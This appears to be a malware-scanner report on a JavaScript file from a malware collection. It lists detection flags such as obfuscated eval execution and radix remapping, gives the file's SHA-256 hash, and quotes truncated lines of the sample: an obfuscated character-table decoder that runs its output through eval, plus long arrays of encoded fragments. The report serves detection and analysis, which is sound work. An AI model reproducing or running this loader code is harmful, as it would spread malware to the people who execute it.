Suspicious ^80% javascript-malware-collection Download

20151210_de80cc6ca045a25ad0d6771f678e6744.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256de6b48e12a15e0e8eaeb6c2bb32adfdb0bd983569daff3f9a6807504e8ce2a7d

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var eWwDoCDCAGdmy=[];
2nHQdbzm=(-950+950)/296;while(true){if(nHQdbzm>=(109191+761)/859){break;}eWwDoCDCAGdmy[nHQdbzm]=String.fromCharCode(nHQdbzm);nHQdbzm++;}
3function HMhoP(aHdRZJaLqwI,ZrxQbMtRjEAsg,jdxiJGuj){ZgeH=parseInt(aHdRZJaLqwI,ZrxQbMtRjEAsg);kXGLR=ZgeH.toString(jdxiJGuj);return kXGLR;}function FfKeGpZeKMRVSYv(qEPuOEexVDEUzDMHG){eval(qEPuOEexVDEUzDMHG)}
4function DcSlSwQcEHlFMWxPKxsdQPkTcwypXOKYtqtMrJzSLXjsezWxtGjfJK(yHtcZVHlnsUTP,dgzytvTqkbnIJJ){ return eWwDoCDCAGdmy[HMhoP(yHtcZVHlnsUTP[dgzytvTqkbnIJJ],(15735+440)/647,(9077+693)/977)];}
5function ouctHgC(lZkodFdiBOTsBedKKwsxMlZipLghrSskLJwV) {return !isNaN(parseFloat(lZkodFdiBOTsBedKKwsxMlZipLghrSskLJwV)) && isFinite(lZkodFdiBOTsBedKKwsxMlZipLghrSskLJwV);}
6function rGEivLHIdgb(xbJfXmuO,nalpAY){return xbJfXmuO.split(nalpAY)}
7var R=[];R[0]="d";R[1]="a";R[2]="d";R[3]="a";R[4]="4i";R[5]="3m";R[6]="4e";R[7]="17";R[8]="48";R[9]="17";R[10]="2b";R …

Massive array index assignment line 8

8:4324… ";p[861]="4g";p[862]="4e";p[863]="4l";p[864]="17";p[865]="17";p[866]="4n";p[867]="d";p[868]="a";p[869]="17";p[870]="17";p[871]="17";p[872]="17";p[873]="17";p[874]="17";p[875]="17";p[876]="17";p[877]="17";p[878]="17";p[879]="45";p[880]="42";p[881]="17";p[882]="1f";p[883]="1f";p[884]="1f";p[885]="4a";p[886]="41";p[887]="4j";p[888]="17";p[889]="2i";p[890]="3m";p[891]="4g";p[892]="41";p[893]="1f";p[894]="1g";p …